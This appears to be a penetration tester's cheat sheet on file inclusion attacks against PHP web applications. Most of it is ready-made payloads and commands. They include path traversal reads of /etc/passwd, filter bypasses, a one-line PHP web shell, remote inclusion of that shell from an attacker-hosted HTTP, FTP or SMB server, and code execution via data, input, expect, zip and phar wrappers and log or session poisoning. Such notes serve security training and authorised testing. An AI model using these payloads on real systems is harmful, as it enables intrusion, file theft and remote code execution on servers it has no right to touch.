File Inclusion Attacks

Local File Inclusion

Common Files to test (usually everyone can read those):

  • /etc/passwd
  • C:\Windows\boot.ini
Command Description
Basic LFI
/index.php?language=/etc/passwd Basic LFI
/index.php?language=../../../../etc/passwd LFI with path traversal
/index.php?language=/../../../etc/passwd LFI with name prefix
/index.php?language=./languages/../../../../etc/passwd LFI with approved path
LFI Bypasses
/index.php?language=....//....//....//....//etc/passwd Bypass basic path traversal filter
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 Bypass filters with URL encoding
/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times] Bypass appended extension with path truncation (obsolete)
/index.php?language=../../../../etc/passwd%00 Bypass appended extension with null byte (obsolete)
/index.php?language=php://filter/read=convert.base64-encode/resource=config Read PHP with base64 filter

Remote File Inclusion

almost any RFI vulnerability is also an LFI vulnerability, as any function that allows including remote URLs usually also allows including local ones. However, an LFI may not necessarily be an RFI. This is primarily because of three reasons:

  1. The vulnerable function may not allow including remote URLs
  2. You may only control a portion of the filename and not the entire protocol wrapper (ex: http://, ftp://, https://).
  3. The configuration may prevent RFI altogether, as most modern web servers disable including remote files by default.

Verifiy RFI/Check for RFI

  • any remote URL inclusion in PHP would require the allow_url_include setting to be enabled. (read php.ini via LFI)
  • this may not always be reliable, as even if this setting is enabled, the vulnerable function may not allow remote URL inclusion to begin with.
  • a more reliable way to determine whether an LFI vulnerability is also vulnerable to RFI is to try and include a URL

Start with a local URL like http://127.0.0.1:80/index.php to test it independently of Firewall settings etc...

Note: It may not be ideal to include the vulnerable page itself (i.e. index.php), as this may cause a recursive inclusion loop and cause a DoS to the back-end server.

Via SMB/RFI via SMB

If the vulnerable web application is hosted on a Windows server (which we can tell from the server version in the HTTP response headers), then we do not need the allow_url_include setting to be enabled for RFI exploitation, as we can utilize the SMB protocol for the remote file inclusion. This is because Windows treats files on remote SMB servers as normal files, which can be referenced directly with a UNC path.

impacket-smbserver -smb2support share $(pwd)
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Now, we can include our script by using a UNC path (e.g. \\<OUR_IP>\share\shell.php), and specify the command with (&cmd=whoami) as we did earlier, ie.: http://<SERVER_IP>:<PORT>/index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami

Remote Code Execution

Command Description
PHP Wrappers
/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id RCE with data wrapper.

the data wrapper is only available to use if the (allow_url_include) setting is enabled in the PHP configurations. (read configs via LFI first to verify)
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"


> Note: To pass our command as a GET request, we need the vulnerable function to also accept GET request (i.e. use $_REQUEST). If it only accepts POST requests, then we can put our command directly in our PHP code, instead of a dynamic web shell (e.g. <\?php system('id')?>)
RCE with input wrapper

Only on POST Endpoints

the input wrapper is only available to use if the (allow_url_include) setting is enabled in the PHP configurations. (read configs via LFI first to verify)
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id" RCE with expect wrapper

Must be installed as an extension on the server to work:

extension=expect in php.ini
RFI
echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT> Host web shell
/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id

Also possible with ftp (incase http gets blocked by firewall/app/waf), but we have to run a ftp server isntead of webserver: python3 -m pyftpdlib -p 21
Include remote PHP web shell
LFI + Upload
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif Create malicious image
/index.php?language=./profile_images/shell.gif&cmd=id RCE with malicious uploaded image
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php Create malicious zip archive 'as jpg'
/index.php?language=zip://shell.zip%23shell.php&cmd=id RCE with malicious uploaded zip
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg Create malicious phar 'as jpg'
/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id RCE with malicious uploaded phar
Log Poisoning
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd Read PHP session parameters
/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E Poison PHP session with web shell
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id RCE through poisoned PHP session
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>' Poison server log
/index.php?language=/var/log/apache2/access.log&cmd=id RCE through poisoned PHP session

Misc

Command Description
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287 Fuzz page parameters
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287 Fuzz LFI payloads
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287 Fuzz webroot path
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287 Fuzz server configurations
LFI Wordlists
LFI-Jhaddix.txt
Webroot path wordlist for Linux
Webroot path wordlist for Windows
Server configurations wordlist for Linux
Server configurations wordlist for Windows
[[php-wrappers]] PHP Wrappers to access different I/O streams

File Inclusion Functions

Function Read Content Execute Remote URL
PHP
include()/include_once()
require()/require_once()
file_get_contents()
fopen()/file()
NodeJS
fs.readFile()
fs.sendFile()
res.render()
Java
include
import
.NET
@Html.Partial()
@Html.RemotePartial()
Response.WriteFile()
include

This is a significant difference to note, as executing files may allow us to execute functions and eventually lead to code execution, while only reading the file's content would only let us to read the source code without code execution. Furthermore, if we had access to the source code in a whitebox exercise or in a code audit, knowing these actions helps us in identifying potential File Inclusion vulnerabilities, especially if they had user-controlled input going into them.

Path Traversal

if we were at the root path (/) and used ../ then we would still remain in the root path. So, if we were not sure of the directory the web application is in, we can add ../ many times, and it should not break the path (even if we do it a hundred times!).

Tip: It can always be useful to be efficient and not add unnecessary ../ several times, especially if we were writing a report or writing an exploit. So, always try to find the minimum number of ../ that works and use it. You may also be able to calculate how many directories you are away from the root path and use that many. For example, with /var/www/html/ we are 3 directories away from the root path, so we can use ../ 3 times (i.e. ../../../).

Protection/Filter/Bypasses

Non-Recursive Path Traversal Filters

One of the most basic filters against LFI is a search and replace filter, where it simply deletes substrings of (../) to avoid path traversals. For example:

$language = str_replace('../', '', $_GET['language']);

This example does not replace it recursively so ....// would result in ../ (.. + ../ + / = only the middle part will be removed). Furthermore, in some cases, escaping the forward slash character may also work to avoid path traversal filters (e.g. ....\/), or adding extra forward slashes (e.g. ....////)

Encoding

Some web filters may prevent input filters that include certain LFI-related characters, like a dot . or a slash / used for path traversals. However, some of these filters may be bypassed by URL encoding our input, such that it would no longer include these bad characters, but would still be decoded back to our path traversal string once it reaches the vulnerable function. ![[Pasted image 20240430102707.png]] Furthermore, we may also use Burp Decoder to encode the encoded string once again to have a double encoded string, which may also bypass other types of filters. Other Bypassing mechanisms see: [[Command Injections]]

Approved Paths

if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}

Does not let users escape from path via regex. But here we could use the approved path and append ../: <SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwd

Appended Extensions

  • some web applications append an extension to our input string (e.g. .php), to ensure that the file we include is in the expected extension
  • may still be useful, as we will see in the next section (e.g. for reading source code)
  • There are a couple of other techniques we may use, but they are obsolete with modern versions of PHP and only work with PHP versions before 5.3/5.4.

    Path Truncation

    In earlier versions of PHP, defined strings have a maximum length of 4096 characters, likely due to the limitation of 32-bit systems. If a longer string is passed, it will simply be truncated, and any characters after the maximum length will be ignored. Furthermore, PHP also used to remove trailing slashes and single dots in path names, so if we call (/etc/passwd/.) then the /. would also be truncated, and PHP would call (/etc/passwd). If we combine both of these PHP limitations together, we can create very long strings that evaluate to a correct path. Whenever we reach the 4096 character limitation, the appended extension (.php) would be truncated, and we would have a path without an appended extension.

    ?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]

    Example script to generate payload:

    echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done

    Just make sure, only .php gets truncated.

    Null Bytes

    PHP versions before 5.5 were vulnerable to null byte injection, which means that adding a null byte (%00) at the end of the string would terminate the string and not consider anything after it.